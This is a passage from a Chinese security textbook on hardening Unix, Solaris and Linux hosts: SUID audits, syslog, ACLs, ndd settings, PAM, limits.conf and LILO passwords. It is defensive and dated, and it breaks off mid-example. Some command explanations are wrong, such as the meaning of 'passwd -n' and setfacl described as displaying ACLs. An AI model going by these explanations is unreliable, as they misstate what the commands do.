其中尤其值得注意的是文件的 SUID 位和SGID 位，这是因为一些入侵者利用这些文件入侵或者留下后门。当用户执行一个SUID文件时，用户ID在程序运行过程中被置为文件拥有者的用户ID。如果文件属于 root，那用户就成为超级用户。同样，当一个用户执行 SGID文件时，用户的组被置为文件的组。Unix实际上有两种类型的用户ID。实际ID是在登录过程中建立的用户ID，有效ID是用户运行进程时的有效权限，一般情况下，当一个用户运行一条命令时，进程继承了用户登录Shell的权限，这时实际ID和有效ID是相同的。当SUID位被设置时，进程则继承了命令拥有者的权限。通过创建一个SUID是root的shell拷贝，攻击者可以借此建立后门。因此，系统管理员应当定期查看系统中有哪些SUID和SGID文件。命令如下：


    find  /  -type  f  \(  -perm  -4000  -o  -perm  -2000  \)  -ls


保证在“/var/log”目录下的不同日志文件的完整性是保证系统安全所要考虑的非常重要的一个方面。如果我们在服务器上已经加上了很多安全措施，攻击者还是能够成功入侵，那么日志文件就是我们最后的防范措施。因此，很有必要考虑一下用什么方法才能保证日志文件的完整性。如果服务器上或网络中的其他服务器上已经安装了打印机，就可以把重要的日志文件打印出来。这要求有一个可以连续打印的打印机，并用syslog把所有重要的日志文件传到“/dev/lp0”（打印设备）。攻击者可以改变服务器上的文件、程序，等等，但是，把重要的日志文件打印出来之后，他就无能为力了。

可以通过如下设置将系统日志打印到连接在这台服务器上的打印机。编辑syslog.conf文件，在文件末尾加入：


    authpriv.*;mail.*;local7.*;auth.*;daemon.info  /dev/lp0


这样就保证将日志通过物理媒介保存了。由于日志量相当之大，因此更好的办法是只将重要的日志及时打印，而将其他的日志，通过配置转到网络上面的一台安全服务器上。例如如下设置：


    authpriv.*;mail.*;local7.*;auth.*;daemon.info  @other.secure.server


目前绝大多数的Syslogd已经实现了这一功能。如果syslogd不支持这一配置的话，可以改用ssyslog或者是syslog-ng，这两种服务器，都能够实现比原有syslog更复杂的审计选项。

另外，可以使用如下命令及其参数来增强对用户密码的管理：

passwd -n 30 user #强迫用户每30天修改一次密码；

passwd -f user #强迫用户在下一次登录时修改口令；

passwd -n 2 -x 1 user #禁止用户修改口令；

passwd -l user #封锁用户账号，禁止登录。

以上我们简单介绍了绝大多数UNIX所共有的一些问题，包括文件系统、审计以及用户账号和密码政策的管理。在以下部分中，我们重点介绍Solaris和Linux所独特的安全配置和管理。以期读者对这两种操作系统的安全管理有更明确的认识。


4.3.1 Solaris系统安全管理


在文件系统方面，Solaris提供了一种扩展的访问权限控制机制。当传统的UNIX文件访问权限不能够满足需要的时候，访问控制列表（ACLs）可以提供对文件访问权限更强的控制。普通UNIX的文件保护机制为三类用户，即拥有者、组用户和其他用户。访问权限为读、写和执行的权限。ACL 则可以为用户和组提供更加灵活的访问权限配置。注意只有在 UFS 文件系统中才支持 ACL。如果将含有 ACL 项的文件拷贝或者存储到/tmp 目录中（通常为TMPFS文件系统），这些ACL项将会丢失。如果想临时地存储带有ACL项的文件，可以使用/var/tmp目录。

ACL机制要解决的问题是也许会需要两个组来访问一个文件，一个组可以读它，而另一个组则具有写权限；或者，只将一个文件的读权限赋给一个组的两个用户。这些都是标准的UNIX访问权限控制所达不到的。

ACL是UNIX的标准文件许可控制的扩展。ACL的信息是分各个文件单独存储的。为了设定文件或者目录的ACL，Solaris提供了这样两个命令：

setfacl:显示文件的ACL项。

-a:显示文件名、组用户、拥有者和文件的ACL。

-d:显示文件名、拥有者、组用户。即使文件没有ACL，也可以显示以上信息。

setfacl:设置、增加、更改、删除文件的ACL项。

-s acl:设置文件的访问权限控制项。

-m acl:增加或者修改文件的访问权限控制项。

-d acl:删除一个文件访问权限控制项。

其中，每一个ACL项格式如下：

类型：UID 或者 GID（如果这一项为空，则说明是文件拥有者的用户或者组）：权限类型通常有如下几种：（对于文件）

u:为某一用户设置访问权限，第二项是该用户的ID，如果第二项为空，则是文件的拥有者。

g:为某一组用户设置访问权限，第二项是该组的ID，如果为空则是文件所属的组。

m:设置对于所有用户的最大可能权限。也就是说，无论用户或组的访问权限如何设置，m所设置的是对这个文件的最大可能权限，所有的用户和组都不能超过这个访问权限。

可以为目录设置缺省的ACL，这样它影响在目录中创建的所有文件，在目录中创建的文件的缺省ACL和这个目录相同。当第一次为一个特殊的用户和组设置对目录的缺省ACL时，必须已经为拥有者、拥有者所在的组、其他的用户设计缺省ACL项并设置了掩码。以下的几个格式通常用于为目录设置ACL：

D:u::＜perm＞为目录的拥有者设置权限。

D:g::＜perm＞为目录拥有者所在的组设置权限。

D:o::＜perm＞为所有不是拥有者所在组的用户设置权限。

D:m::＜perm＞为ACL设置掩码。

D:u:uid:＜perm＞为一个特殊用户设置权限。

D:g:gid:＜perm＞为一个特殊的组设置权限。

在设置完ACL后，可以使用两种方法来确定一个文件是否带有ACL项，一种方法是使用1s –l命令，另一种方法是使用getfacl命令。使用ls -l命令时，含有ACL的文件会在made域右面加个+。如果只为一个文件定义了 ACL，但并没有声明另外的用户或组的话，即使文件含有基本的 ACL，在显示的时候也不会在权限项后跟一个+。只有另外的用户或组被添加到ACL中，才会被显示出来。以下我们用一个例子来说明这一系列命令的使用。

首先使用setfacl命令为文件设置 ACL许可权。可以将文件作为setfacl的一个输入参数或直接用命令行设置文件的ACL许可权。如以下语法：


    setfacl –s u::＜perm＞，g::＜perm＞，o:＜perm＞，m:＜perm＞，u:＜UID＞:＜perm＞，g:＜GID＞:＜perm＞


UID可以是用户ID或者是用户名，GID可以是组ID或者是组名。如我们将将拥有者指定为完全的权限，而组用户只有读权限并禁止其他用户的访问。缺省的掩码为读写，而用户ray被指定了对文件foo有读写权。

首先，看一下当前文件的许可权：


    ls  –l  foo
    -rw-rw-rw-  1   abc staff   0   oct 3 14：22 foo


下面设置了拥有者、组用户和其他用户对文件的访问权限和掩码，并在ACL中加入了一个用户。


    setfacl –s u::rwx，g::rwx，g::r--，o:---，mask:rw-，u:ray:rw- foo


下面确认权限已经被设置并且文件已经含有了一个ACL。


    ls  –l  foo
    -rwxrw----+   1        abc staff    0     oct  3  14:22  foo


可以看到文件的许可权已经改变，+也表示文件已经含有了一个ACL。最后，使用getfacl命令来确认所有的权限已经被正确地设置了：


    getfacl  foo
    #file:  foo
    #owner:  abc
    #group:  staff
    user::rwx
    user:ray:rw-            #effective:rw-
    group::rw-               #effective:rw-
    mask:  rw-
    other:---


不管是使用什么形式在命令行中设置的文件许可权，命令getfacl的结果总是使用符号来表示ACL许可权。

下面介绍使用ACL配置文件来设置许可权。

可以建立一个 ACL 配置文件，在这个文件中包含所想要设置的许可权限。在 setfacl -s命令中可以将这个文件当做一个参数来设置 ACL 选项。只能在-s 选项中用文件作为输入参数。在用编辑器编辑文件之后，使用setfacl –f acl_filename即可。格式与getfacl的输出相同，因此可以使用管道操作符来拷贝一个文件的ACL到另外一个文件：


    getfacl ＜file1＞  |  setfacl  –f  - ＜file2＞


这样file2的访问权限将和file1的访问权限相同。使用文件来设置ACL有一个好处，就是可以方便地为多个文件建立统一的访问权限控制。

使用setfacl -m命令可以为已经含有 ACL的UFS文件或目录增加或者修改访问控制权限。它的命令格式和-s相同。如果文件已经存在该 UID 或者 GID的项，那么所声明的权限将会替换它们，否则将会创建它们。删除一个文件的访问权限可以用-d选项，其语法也与以上相同。

以上我们简要介绍了Solaris操作系统对于文件系统的额外访问权限控制，为了保障系统的安全，除了建立严格完善的访问权限控制之外，还需要进行一系列的其他子系统的安全配置。以下我们将简要介绍Solaris系统更新、网络和服务的合理配置以及内核一些参数的合理调整。

1.操作系统更新

安装最新的系统补丁和随时更新系统，对于维护系统安全来说是至关重要的。这是因为操作系统厂商通常只有在出现严重安全问题的时候才发布系统更新。Solaris 系统在ftp://sunsolve.sun.com/pub/patches/下面有各个系统推荐的所有补丁，请下载相关的recommended.zip，这个文件中有所针对系统需要打的各个补丁。下载到本地的/tmp目录后，对于Solaris 7或者8，执行如下命令即可：


    cd /tmp; unzip –qq＜os＞_recommended.zip; cd＜os＞_recommended; ./install_cluster –q –nosave


在这种打一批补丁的时候，其中一些可能会安装失败。系统管理员可以忽略那些返回值为2（已安装的补丁）或者8（所要修补的软件没有安装）的错误。如果有其他错误出现，那么系统管理员应该审查/var/sadm/install_data文件以获取更详细信息。

采用nosave方式的意思是说不必备份所修改的原有文件。如果用户需要知道打补丁过程修改了哪些文件的话，可以去掉这个选项，但是同时一定要确保/var下面有足够的空间。

2.网络参数的调整和服务配置

可以通过ndd命令来调整网络参数的配置。ndd命令能在不重新配置系统内核和重起系统的情况下，修改核心和 TCP/IP 的设备的一些参数。常见的用于使系统更强壮的 ndd配置如下：

（1）可以利用ndd命令来拒绝源路由数据报的通过。所谓源路由，就是数据报的发送方指定自己的路由情况，通过这种方式，攻击者可以进行IP伪装。使用的命令是：


    ndd  -set  /dev/ip  ip_forward_src_routed  0


（2）可以利用 ndd 命令防止系统成为 smurf 攻击的流量放大器。如果系统响应Directed_broadcast包的话，即系统将接受并转发目的地址为广播地址的数据包，那么可能被smurf攻击利用作为流量放大器。利用ndd命令即可进行安全配置：


    ndd  -set  /dev/ip  ip_forward_directed_broadcasts  0


另外，为了避免系统转发所接收到的包，可以通过如下方法禁止进行包转发：


    ndd  -set  /dev/ip  ip_forwarding  0


（3）重定向错误。攻击者能伪造重定向错误的报文从而给目标主机装载一个新的路由，这样达到路由欺骗的目的。由于大多数只有一条默认路由主机系统是不需要理会这种报文的，因此可以使用ndd命令忽略ICMP重定向错误报文（solairs默认是不忽略的）。命令如下：


    ndd  -set  /dev/ip  ip_ignore_redirect  1


（4）只有路由器才需要发送重定向错误，任何主机即使是多宿主主机也不需要发送重定向报文，因此可以使用ndd来禁止本机发送错误重定向报文。


    #ndd  -set  /dev/ip  ip_send_redirects  0


（5）SYN_flood攻击。TCP-SYN flood又称半开式连接攻击，每当我们进行一次标准的TCP连接（如WWW浏览，下载文件等）会有一个三次握手的过程，首先是请求方向服务方发送一个SYN消息，服务方收到SYN后，会向请求方回送一个SYN-ACK表示确认，当请求方收到SYN-ACK后则再次向服务方发送一个ACK消息，一次成功的TCP连接由此就建立，可以进行后续工作了，而TCP-SYN flood在它的实现过程中只有前两个步骤，当服务方收到请求方的SYN并回送SYN-ACK确认消息后，请求方由于采用源地址欺骗等手段，致使服务方得不到ACK回应，这样，服务方会在一定时间处于等待接收请求方ACK消息的状态，一台服务器可用的TCP连接是有限的，如果恶意攻击方快速连续地发送此类连接请求，则服务器可用TCP连接队列很快将会阻塞，系统可用资源、网络可用带宽急剧下降，无法向用户提供正常的网络服务。对于solaris 2.5.1，只有安装了patch 103582-1（或以上）才能防止syn_flood.在synflood没有流行以前，连接队列和backlog队列是相同的，solairs 2.6/7和安装了patch以后的2.5.1系统，现在存在两条队列，一个是已连接的队列，一条是未连接完成的队列。SYN攻击时只能填充后一条队列，而且，一旦队列满，将随机丢弃老的syn包。系统还会监控这个队列被短时间填充的情况，一旦怀疑是syn_flood，并在系统中记录。我们可以根据需要来调节新队列的大小，繁忙的Web服务器需要提高未连接队列的大小。默认的大小是1024。核心的队列增大，系统的内存所需也相应地增加。


    ndd  -set  /dev/tcp  tcp_conn_req_max_q0  4096


（6）另外，可以根据RFC1948建议在/etc/default/inetinit中增加如下的生成初始化序列号设置来为每个TCP连接产生更随机的初始序列号，以防止TCP序列号预测攻击（ip欺骗）：


    TCP_STRONG_ISS=2


（7）TCP/IP服务的配置。/etc/inetd/inetd.conf文件是系统的inetd服务的配置文件。因为其中的一些服务可能会方便入侵者的攻击，而且一些入侵者也喜欢通过这个文件来留下后门，因此建议将这个文件清空，然后逐项添加所需服务。在清空前，建议把原文件进行备份。为了记录 INETD 连接的所有信息，在 inetd 启动脚本的启动行中增加“-t”参数，即:/usr/sbin/inetd -s -t。

（8）初始服务的配置。可以采用如下的脚本来配置/etc/rc?.d下的各项服务。


    cd  /etc/rc2.d
    for  file  in  S30sysid.net  S71sysid.sys  S72autoinstall  \
    S73cachefs.daemon  S93cacheos.finish  S40llc2  \
    S47asppp  S70uucp  S72slpd  S75flashprom  S80PRESERVE  \
    S85power  S89bdconfig  S90wbem  S91afbinit  S91ifbinit  \
    S94ncalogd  S95ncad
    do
    [  -s  $file  ] ＆＆ mv  $file  .NO$file
    done
    cd  /etc/rc3.d
    for  file  in  S77dmi  S80mipagent
    do
    [  -s  $file  ] ＆＆ mv  $file  .NO$file
    done


这些服务一般被认为是没有必要开的。将这些脚本命名为.NO（原文件名）的好处在于，如果发现需要其中的一些服务，那么还可以再将相应的文件恢复。

如果本机不是NFS服务器的话，那么还可以将/etc/rc3.d/S15nfs禁止掉。如果本机也不使用任何LDAP服务的话，那么可以将/etc/rc2.d/S71ldap.client也禁止掉。

（9）限制NFS服务的源端口范围。通常情况下，NFS客户端使用系统的保留端口范围（小于1024），但是一些攻击或者扫描NFS服务的程序所使用的端口则要大于1024。Solaris系统可以限制只接受来自于保留端口的服务请求。设置方法如下：编辑/etc/system 文件，加入：set nfssrv:nfs_portmon=1。

3.其他安全配置

（1）禁止产生内核印象文件（core）。当系统出现意外错误时，有时会产生内核印象文件，该文件通常具有进程崩溃时的系统状态信息。我们建议禁止产生内核印象文件，因为一方面这个文件会占用很大的硬盘空间，另一方面有的时候内存印象文件中会泄露一些系统敏感信息。禁止产生内核印象文件的配置方法是：编辑/etc/system 文件，加入这样一行：set sys:coredumpsize=0。

（2）进行堆栈保护。利用缓冲区溢出取得系统权限是攻击者攻击的一个重要手段。在缓冲区溢出程序中，通常要在系统的堆栈段运行指令。对于Solaris 2.6以上的系统，可以禁止在堆栈段运行代码。设置方法如下：编辑/etc/system文件，加入这样两行：


    set  noexec_user_stack=1
    set  noexec_user_stack_log=1


（3）磁盘共享（mount）：为了减少木马和不授权的修改，可以在/etc/vfstab 文件中，在mount /时使用“remount，nosuid”选项；在/var上带上“nosuid”选项；在/tmp后加上“size=100m，nosuid”选项（允许/tmp只能使用100M空间及不允许执行SUID程序）；如果软盘不需要的话再把“/dev/fd”行注释掉。

（4）openboot的配置

openboot分成如下安全级别： none级别，不需要任何口令，所有OpenBoot设置都可以修改，任何人只要物理接触到主控台，就可以完全控制；Command级别，除了boot和go之外所有命令都需要口令；full级别，除了go命令之外所有命令都需要口令。为了改变OpenBoot安全级别，首先使用eeprom security-password命令设置OpenBoot口令，然后在root登录状态使用eeprom security-mode=command命令改变安全级别为command级别或在OK状态敲入ok setenv security-mode=command的密码保护来实现。通过这些设置，可以保护系统的物理安全。

以上我们介绍了Solaris操作系统的安全防护。主要侧重介绍了它在文件系统权限控制上面引入的新特征以及其网络配置。在下一部分中，我们将介绍另外一种流行的操作系统，Linux的安全防护。


4.3.2 LINUX安全防护


经过十年的发展，Linux的功能在不断增强，其安全机制亦在逐步完善。按照TCSEC评估标准，目前Linux的安全级基本达到了C2，更高安全级别的Linux系统正在开发之中。下面我们来看一看 Linux已有的安全机制，这些机制有些已被标准的 Linux所接纳，有些只是提供了“补丁”程序。

1.PAM机制

PAM（Pluggable Authentication Modules）是一套共享库，其目的是提供一个框架和一套编程接口，将认证工作由程序员交给管理员，PAM允许管理员在多种认证方法之间作出选择，它能够改变本地认证方法而不需要重新编译与认证相关的应用程序。

PAM的功能包括：

加密口令（包括DES以外的算法）；

对用户进行资源限制，防止DOS攻击；

允许随意Shadow口令；

限制特定用户在指定时间从指定地点登录；

引入概念“client plug-in agents”，使PAM支持C/S应用中的机器——机器认证成为可能。

PAM为更有效的认证方法的开发提供了便利，在此基础上可以很容易地开发出替代常规的用户名加口令的认证方法，如智能卡、指纹识别等认证方法。

2.加密文件系统

加密技术在现代计算机系统安全中扮演着越来越重要的角色。加密文件系统就是将加密服务引入文件系统，从而提高计算机系统的安全性。有太多的理由需要加密文件系统，比如防止硬盘被偷窃、防止未经授权的访问等。

目前Linux已有多种加密文件系统，如CFS、TCFS、CRYPTFS等，较有代表性的是TCFS （Transparent Cryptographic File System）。它通过将加密服务和文件系统紧密集成，使用户感觉不到文件的加密过程。TCFS 不修改文件系统的数据结构，备份与修复以及用户访问保密文件的语义也不变。

TCFS能够做到让保密文件对以下用户不可读：

合法拥有者以外的用户；

用户和远程文件系统通信线路上的偷听者；

文件系统服务器的超级用户。

而对于合法用户，访问保密文件与访问普通文件几乎没有区别。

3.安全审计

即使系统管理员十分精明地采取了各种安全措施，但还会不幸地发现一些新漏洞。攻击者在漏洞被修补之前会迅速抓住机会攻破尽可能多的机器。虽然Linux不能预测何时主机会受到攻击，但是它可以记录攻击者的行踪。

Linux 还可以进行检测、记录时间信息和网络连接情况。这些信息将被重定向到日志中备查。

日志是Linux安全结构中的一个重要内容，它是提供攻击发生的惟一真实证据。因为现在的攻击方法多种多样，所以 Linux 提供网络、主机和用户级的日志信息。例如，Linux 可以记录以下内容：

记录所有系统和内核信息；

记录每一次网络连接和它们的源 IP地址、长度，有时还包括攻击者的用户名和使用的操作系统；

记录远程用户申请访问哪些文件；

记录用户可以控制哪些进程；

记录具体用户使用的每条命令。

在调查网络入侵者的时候，日志信息是不可缺少的，即使这种调查是在实际攻击发生之后进行。

4.强制访问控制

强制访问控制（Mandatory Access Control，MAC）是一种由系统管理员从全系统的角度定义和实施的访问控制，它通过标记系统中的主客体，强制性地限制信息的共享和流动，使不同的用户只能访问到与其有关的、指定范围的信息，从根本上防止信息的失泄密和访问混乱的现象。

传统的MAC实现都是基于TCSEC中定义的MLS策略，但因MLS本身存在着这样或那样的缺点（不灵活、兼容性差、难于管理等），研究人员已经提出了多种MAC策略，如DTE、RBAC等。由于Linux是一种自由操作系统，目前在其上实现强制访问控制的就有好几家，其中比较典型的包括SElinux、RSBAC、MAC等，采用的策略也各不相同。

NSA推出的SELinux安全体系结构称为 Flask，在这一结构中，安全性策略的逻辑和通用接口一起封装在与操作系统独立的组件中，这个单独的组件称为安全服务器。SELinux 的安全服务器定义了一种混合的安全性策略，由类型实施（TE）、基于角色的访问控制（RBAC）和多级安全（MLS）组成。通过替换安全服务器，可以支持不同的安全策略。SELinux 使用策略配置语言定义安全策略，然后通过 checkpolicy 编译成二进制形式，存储在文件/ss_policy中，在内核引导时读到内核空间。这意味着安全性策略在每次系统引导时都会有所不同。策略甚至可以通过使用 security_load_policy 接口在系统操作期间更改（只要将策略配置成允许这样的更改）。

RSBAC的全称是Rule Set Based Access Control（基于规则集的访问控制），它是根据Abrams和LaPadula提出的Generalized Framework for Access Control（GFAC）模型开发的，可以基于多个模块提供灵活的访问控制。所有与安全相关的系统调用都扩展了安全实施代码，这些代码调用中央决策部件，该部件随后调用所有激活的决策模块，形成一个综合的决定，然后由系统调用扩展来实施这个决定。RSBAC目前包含的模块主要有MAC、RBAC、ACL等。

MAC是英国的Malcolm Beattie针对Linux 2.2编写的一个非常初级的MAC访问控制，它将一个运行的Linux系统分隔成多个互不可见的（或者互相限制的）子系统，这些子系统可以作为单一的系统来管理。MAC是基于传统的Biba完整性模型和BLP模型实现的，但作者目前似乎没有延续他的工作。

为了保障LINUX系统的安全，可以进行如下的配置：

5.用户和文件配置

（1）删除所有不用的账户

删除所有不用的缺省用户和组账户（比如lp、sync、shutdown、halt、news、uucp、operator、games、gopher等），可以避免系统由于这些用户的存在所带来的安全风险。删除用户可以使用“userdel 用户名”命令。

（2）选择合适的密码策略

在缺省Linux安装过程中，默认的最短密码长度为5个字节，为了增强密码的强度，可以把最短密码长度设为 8 个字节以提供更强的安全保证。修改最短密码长度需要编辑login.defs文件，将


    PASS_MIN_LEN     5


改为


    PASS_MIN_LEN     8


即可。login.defs文件是login程序的配置文件。除此之外，还可以编辑login.defs文件，从而修改密码的最长时间 PASS_MAX_DAYS（缺省为 99999），以及密码的最短时间（缺省为0），以及密码过期前几天警告PASS_WARN_AGE（缺省为7天）。

（3）超级用户配置

在 unix 系统中 root 账户是具有最高特权的。如果系统管理员在离开系统之前忘记注销root账户，系统会自动注销。通过修改账户中“TMOUT”参数，可以实现此功能。TMOUT按秒计算。编辑/etc/profile文件（vi /etc/profile），在“HISTFILESIZE=”后面加入下面这行：


    TMOUT=3600


3600，表示1小时。这样，如果系统中登录的用户在一个小时内都没有动作，那么系统会自动注销这个账户。也可以对其他用户的“.bashrc”文件中添加该值，以便系统对该用户实行特殊的自动注销时间。改变这项设置后，必须先注销用户，再用该用户登录才能激活这个功能。

为了更严格地限制系统管理员的登录，可以使用/etc/securetty 文件。该文件指定了允许root登录的tty设备，/etc/securetty被/bin/login程序读取，用于配置可以允许超级用户登录的终端。它的格式是一行一个被允许登录的终端名字列表，为了安全起见，我们只允许超级用户从tty1上登录。编辑/etc/securetty且注释出下面的行。


    tty1
    #tty2
    #tty3
    #tty4
    #tty5
    #tty6
    #tty7
    #tty8


（4）只允许wheel组（超级用户所在组）的用户通过su命令改变为root用户

su命令可以使普通用户成为系统中其他已存在的用户。可以通过如下配置限制某些用户通过su命令成为超级用户。在su配置文件（一般是“/etc/pam.d/su”）的开头添加下面两行：


    auth  sufficient  /lib/security/pam_rootok.so  debug
    auth  required  /lib/security/Pam_wheel.so  group=wheel


这表明只有“wheel”组的成员可以使用su命令成为root用户。对于所有允许具有超级用户权限的用户，可以把该用户名添加到“wheel”组。

（5）限制用户对主机资源的使用

有时，为了避免用户通过使用大量资源导致系统不稳定情况的发生以及拒绝服务攻击的影响，需要限制用户对主机资源的使用。RedHat Linux系统下的/etc/security/limits.conf文件，可以用来做此类控制。该文件通过 PAM 的一个组件来进行资源限制，因此在进行限制前，必须先保证相应的组件已经进行了恰当的配置，检查方法为：编辑/etc/pam.d/login文件加/检查下行的存在：


    session  required  /lib/security/pam_limits.so


limites.conf文件可以用来对CPU的使用、内存的使用（数据段和堆栈段）、进程数以及最大登录数等多种资源进行限制。此配置文件的中每一行由四项构成：用户名、组名（以@开头）或“*”表示所有用户；soft或者是hard，soft表示限制不严格，需要时可以超过此值，但会有警告，hard 表示严格限制，不能超过此值；所配置的限制种类，cpu 表示占用的处理时间片单位，maxlogins表示允许此用户同时登录的个数，nproc表示最大进程数，等等。

举例如下：


    * soft core 0 #所有用户均不产生内存印象
    * hard rss 10000 #最多使用10M内存
    * hard nproc 20  #最多20个进程
    @student hard nproc 20 #student组每个用户最多20个进程
    ftp hard nproc 0 #ftp最多开20个进程
    @student - maxlogins 4 #student组每个用户最多登录4个


（6）使用 chattr 命令保护一些文件免被改动。该命令有如下两个选项通常用于文件系统的安全配置。选项，+i用于禁止对文件进行改动，+a只允许对文件进行添加。


    [root@system]#  chattr +i  /etc/services
    [root@system]#  chattr +i  /etc/passwd
    [root@system]#  chattr +i  /etc/shadow
    [root@system]#  chattr +i  /etc/group


（7）/etc/exports 文件

如果使用NFS网络文件系统服务，那么应当确保/etc/exports具有最严格的存取权限设置，这意味着不要使用任何通配符，不允许 root 写权限，mount 成只读文件系统。编辑文件/etc/exports并且加：例如：


    /dir/to/export host1.mydomain.com(ro，root_squash)
    /dir/to/export host2.mydomain.com(ro，root_squash)


/dir/to/export 是要被共享的目录，host.mydomain.com是登录这个目录的机器名，ro意味着 mount 成只读系统，root_squash 禁止 root 写入该目录。为了让上面的改变生效，运行/usr/sbin/exportfs -a。

6.网络配置

（1）对于旧的 Linux 系统，配置/etc/inetd.conf，去掉不用服务，对于较新的系统，则应当配置xinetd.conf以及/etc/xinetd.d/，建议配置时，先备份原有配置，然后去掉所有的服务，然后再根据需要添加。

（2）防止系统信息暴露

默认情况下当登录到linux server时，将显示linux版本名、内核版本名和服务器主机名。建议通过修改配置文件从而避免显示过多信息。这可以通过编辑/etc/rc.d/rc.local 达到，注释掉如下程序。


    #
    # This will overwrite /etc/issue at every boot.So，make any changes you
    #  want  to  make  to  /etc/issue  here  or  you  will  lose  them  when  you  reboot.
    #echo  ""  ＞  /etc/issue
    #echo  "$R"  ＞＞  /etc/issue
    #echo  "Kernel  $(uname  -r)  on  $a  $(uname  -m)"  ＞＞  /etc/issue
    #
    #cp  -f  /etc/issue  /etc/issue.net
    #echo  ＞＞  /etc/issue


然后，操作如下：


    [root@system]#  rm  -f  /etc/issue
    [root@system]#  rm  -f  /etc/issue.net
    [root@system]#  touch  /etc/issue
    [root@system]#  touch  /etc/issue.net


（3）避免域名欺骗，修改“/etc/host.conf”文件

“/etc/host.conf”说明了如何解析地址。编辑“/etc/host.conf”文件（vi /etc/host.conf），加入下面这行：


    #  Lookup  names  via  DNS  first  then  fall  back  to  /etc/hosts.
    order bind，hosts
    #  We  have  machines  with  multiple  IP  addresses.
    multi  on
    #  Check  for  IP  address  spoofing.
    nospoof  on


第一项设置首先通过DNS解析IP地址，然后通过hosts文件解析。第二项设置检测是否“/etc/hosts”文件中的主机拥有多个IP地址（比如有多个以太口网卡）。第三项设置说明要注意对本机未经许可的电子欺骗。

（4）TCP/IP属性的配置

可以添加下面的一行命令到/etc/rc.d/rc.local，以使本地系统不响应远程系统的 ping数据包：


    echo  1  ＞  /proc/sys/net/ipv4/icmp_echo_ignore_all


用下面的命令在系统上禁止接收IP源路由的数据包：


    for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
    echo  0  ＞  $f
    done


为了防止SYN Flood拒绝服务（DoS）的攻击，可以使用Linux系统的“syn cookie”个可选项。命令如下：


    echo  1  ＞  /proc/sys/net/ipv4/tcp_syncookies


可以把这写命令加入“/etc/rc.d/rc.local”文件中，这样系统重新启动的时候就不必重新配置了。

7.系统配置

（1）禁止Control-Alt-Delete 关闭系统命令

在“/etc/inittab”文件中注释掉下面这行（使用#）：


    ca::ctrlaltdel:/sbin/shutdown  -t3  -r  now


改为：


    #ca::ctrlaltdel:/sbin/shutdown  -t3  -r  now


为了使这项改动起作用，须重新运行如下命令：


    /sbin/init  q


（2）/etc/lilo.conf配置

LILO是Linux上一个多功能的引导程序。它可以用于多种文件系统，也可以从软盘或硬盘上引导 Linux 并装入内核，还可以作为其他操作系统的“引导管理器”。根（/）文件系统对LILO来说很重要，有下面这两个原因：第一，LILO要告诉内核到哪里去找根文件系统；第二，LILO要用到的一些东西，如引导扇区、“/boot”目录和内核就存放在根文件系统中。引导扇区包括 LILO 引导程序的第一部分，这个部分在引导阶段的后半部分还要装入更大的引导程序。这两个引导程序通常存在“/boot/boot.b”文件中。内核是由引导程序装入并启动的。在RedHat Linux系统中，内核通常在根目录或“/boot”目录下。

因为LILO对Linux系统非常重要，所以我们要尽可能地保护好它。LILO最重要的配置文件是“/etc”目录下的“lilo.conf”文件。用这个文件我们可以配置或提高 LILO 程序以及Linux系统的安全性。下面是LILO程序的三个重要的选项设置。

①加入：timeout=00。这项设置设定 LILO在引导默认的系统之前，等候用户输入的时间。C2安全等级规定这个时间间隔必须设成0，因为多重引导会使系统的安全措施形同虚设。除非想用多重引导，否则最好把这项设成0。

②加入：restricted。当LILO引导的时候，输入参数linux single，进入单用户（single）模式。因为单用户模式没有口令验证，所以可以在LILO引导时，加上口令保护。“restricted”选项只能和“password”合起来用。注意要给每个内核都要加上口令保护。

③加入：password=＜password＞。用单用户模式启动 Linux 系统的时候，系统要求用户输入这个口令。口令是大小写敏感的，而且要注意，要让“/etc/lilo.conf”文件，除了root之外，其他用户没有读的权限，这样也就看不到口令了。下面是用“lilo.conf”文件保护 LILO的一个具体例子。

第一步

编辑lilo.conf文件（vi /etc/lilo.conf），加上或改变下面介绍的三个设置：


    boot=/dev/sda
    map=/boot/map
    install=/boot/boot.b
    prompt
    timeout=00  ?  change  this  line  to  00.
    Default=linux
    restricted  ?  add  this  line.
    password=＜password＞  ?  add  this  line  and  put  your  password.
    image=/boot/vmlinuz-2.2.12-20
    label=linux
    initrd=/boot/initrd-2.2.12-10.img
    root=/dev/sda6
    read-only


第二步

因为“/etc/lilo.conf”配置文件里，存在没有经过加密的口令，所以只有root才能有读的权限。用下面的命令改变文件的权限：


    [root@system]# chmod 600 /etc/lilo.conf (will be no longer world readable).


第三步

使改变后的“/etc/lilo.conf”配置文件生效：


    [root@system]#  /sbin/lilo  -v  (to  update  the  lilo.conf  file).


第四步

为了更安全一点，可以用chattr命令给“lilo.conf”文件加上不可改变的权限。让文件不可改变用下面的命令：


    [root@system]#  chattr +i  /etc/lilo.conf


这样可以避免“lilo.conf”文件因为意外或其他原因而被改变。如果想要改变“lilo.conf”文件，必须先清除它的不可改变标志。

清除不可改变的标记用下面的命令：


    [root@system]#  chattr  -i  /etc/lilo.conf


以上我们介绍了常见的 LINUX 系统的安全配置。在我们的介绍中，侧重于操作系统本身的安全防护，主要的重点在于系统的用户访问权限控制、文件系统安全以及TCP/IP属性和基本服务的配置。在下一节中，我们将重点介绍一些网络安全方面的常见防护工具以及常见网络服务器的安全配置。显然，为了建设一个安全的网络，这些部分是必不可少的，甚至从某种程度来说，这些应用程序的配置，复杂度会大得多。


4.4 常见服务的安全防护



4.4.1 WWW服务器的安全防护


随着WWW服务使用的日益广泛，WWW服务器的访问控制和安全性能保障也就成了一个重要的内容。WWW服务器的安全配置，主要是这样几个问题，一个对网页的访问进行访问权限控制，另外一个是防止服务器受到拒绝服务攻击的影响。以下我们主要针对两种最常见的WWW服务器，Apache和IIS，讨论如何进行安全配置。

Apache 可以很好地解决上述问题。Apache 实现身份认证的基本原理是：当系统管理员启动身份认证功能后，可以在要限制的目录中添加一个默认名“.htaccess”的文件。当用户访问该路径下的资源时，系统就会弹出一个对话框，要求用户输入“用户名/口令”。也就是说，它的身份认证功能不是人为由程序控制，而是由系统直接控制的。这样就避免了用户记录需要认证的资源的超级链接，不会下次直接访问资源。不仅如此，apache的身份认证的限制有多种，可以限定某个目录的读取权，针对IP地址进行的限制，以及一个目录下各子目录的不同限制。以下我们具体进行说明。

若对某一目录下的文件如/home/ftp/pub 需要做到用户认证，则在 httpd.conf 中加入下面的行


   ＜Directory  /home/ftp/pub＞
    options  indexes  followsymlinks
    allowoverride  authconfig
    order allow，deny
    allow  from  all
   ＜/Directory  ＞


在目录/home/ftp/pub下放文件.htaccess，内容如下：


